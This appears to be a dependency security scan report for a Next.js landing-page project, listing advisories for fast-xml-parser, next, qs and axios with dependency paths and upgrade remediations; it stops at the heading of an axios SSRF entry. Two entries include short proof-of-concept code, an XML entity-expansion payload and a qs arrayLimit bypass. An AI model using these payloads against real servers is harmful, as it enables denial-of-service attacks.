  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5

Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the DocTypeReader component when the maxEntityCount or maxEntitySize configuration options are explicitly set to 0. Due to JavaScript's falsy evaluation, the intended limits are bypassed. An attacker can cause unbounded entity expansion and exhaust server memory by supplying crafted XML input containing numerous large entities.

Note:

This is only exploitable if the application is configured with processEntities enabled and either maxEntityCount or maxEntitySize set to 0.

PoC

const { XMLParser } = require("fast-xml-parser");

// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 0,    // should mean "zero entities allowed"
    maxEntitySize: 0       // should mean "zero-length entities only"
  }
});

// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
  entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  ${entities}
]>
<foo>&e0;</foo>`;

// This should throw "Entity count exceeds maximum" but does not
try {
  const result = parser.parse(xml);
  console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
  console.log("SAFE:", e.message);
}

// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 1,
    maxEntitySize: 100
  }
});

try {
  safeParser.parse(xml);
  console.log("ERROR: should have thrown");
} catch (e) {
  console.log("CONTROL:", e.message);  // "Entity count (2) exceeds maximum allowed (1)"
}

Remediation

Upgrade fast-xml-parser to version 5.5.7 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.10.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the fetchExternalImage() function, which is used for image optimization and loads external images into memory without a maximum size limit. An attacker can exhaust system memory and disrupt service availability by requesting optimization of very large images from external domains.

Note:

This is only exploitable if remotePatterns is configured to allow image optimization from external domains and the attacker can serve or control a large image on an allowed domain.

Remediation

Upgrade next to version 15.5.10, 16.1.1-canary.15, 16.1.5 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@16.1.5.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the Partial Prerendering resume endpoint when unauthenticated POST requests with the Next-Resume: 1 header are processed and attacker-controlled postponed state data is handled. An attacker can cause the server process to crash and exhaust system memory by sending large or highly compressed payloads that are buffered or decompressed without size limits.

Note:

This is only exploitable if the application is running with experimental.ppr: true or cacheComponents: true configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.

Remediation

Upgrade next to version 15.6.0-canary.61, 16.1.1-canary.16, 16.1.5 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.16.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the Image Optimization API when handling requests to the /_next/image endpoint that match the images.localPatterns configuration. An attacker can exhaust server memory and cause a denial of service by requesting large local assets, leading to out-of-memory conditions.

Note: This is only exploitable if the default image loader is used and the images.localPatterns configuration allows access to large local files.

Workaround

This vulnerability can be mitigated by disabling routing of large local assets through /_next/image, disabling image optimization for large or untrusted local files, blocking image optimization access to those assets at the edge, or setting images.localPatterns: [] in the configuration.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.21.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the areAllActionIdsValid validation in server action form submission handling. An attacker can exhaust CPU and block other requests in the same process by sending a crafted form payload with many $ACTION_REF_ fields to a page that uses Server Actions. The vulnerable code processes these malformed MPA form submissions before deeper action decoding work, so repeated oversized action-reference fields force excessive validation work on the server. Applications using the App Router with at least one Server Action are affected; Pages Router apps and apps without Server Actions are not.

Notes

  • The vulnerable path is in App Router’s MPA form-submission validation, so the expensive validation work is exercised before action decoding on requests carrying server-action form data rather than during the action handler itself.
  • The malformed payload pattern is specific to repeated $ACTION_REF_ fields in the form body; ordinary Server Action submissions are not affected unless they include an unusually large number of those reference fields.

Remediation

Upgrade next to version 15.5.21, 16.2.11 or higher.

References

high severity

Incorrect Authorization

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.16.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Incorrect Authorization in the /_next/data/<buildId>/<page>.json route when i18n is configured and authorization is enforced via middleware or proxy. An attacker can gain unauthorized access to sensitive server-side-rendered JSON data for protected pages by making locale-less requests that bypass the intended authorization checks.

Workaround

This vulnerability can be mitigated by enforcing authorization within the page's server-side data path rather than relying solely on middleware.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: qs
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express@4.21.2 qs@6.13.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express@4.21.2 qs@6.13.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express@4.21.2 body-parser@1.20.3 qs@6.13.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express@4.21.2 body-parser@1.20.3 qs@6.13.0

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the parseArrayValue function when the comma option is in use. An attacker can exhaust system memory by submitting a parameter containing a large number of comma-separated values, resulting in the allocation of excessively large arrays.

Note: This is only exploitable if the comma option is explicitly set to true. arrayLimit is properly enforced for index and bracket notation.

PoC

const qs = require('qs');

const payload = 'a=' + ','.repeat(25);  // 26 elements after split (bypasses arrayLimit: 5)
const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };

try {
  const result = qs.parse(payload, options);
  console.log(result.a.length);  // Outputs: 26 (bypass successful)
} catch (e) {
  console.log('Limit enforced:', e.message);  // Not thrown
}

Remediation

Upgrade qs to version 6.14.2 or higher.

References

high severity

Incorrect Regular Expression

  • Vulnerable module: fast-xml-parser
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-flexible-checksums@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-sdk-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-env@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-http@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-process@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/signature-v4-multi-region@3.936.0 @aws-sdk/middleware-sdk-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-env@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-http@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-process@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5

Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to Incorrect Regular Expression in the entity parsing RegEx in DOCTYPE declarations. An attacker can inject arbitrary values that override built-in XML entities by crafting entity names containing ., which is interpreted as a regex wildcard, allowing malicious content to be substituted in place of standard entities when the XML is parsed and subsequently rendered or used in sensitive contexts.

Remediation

Upgrade fast-xml-parser to version 4.5.4, 5.3.5 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

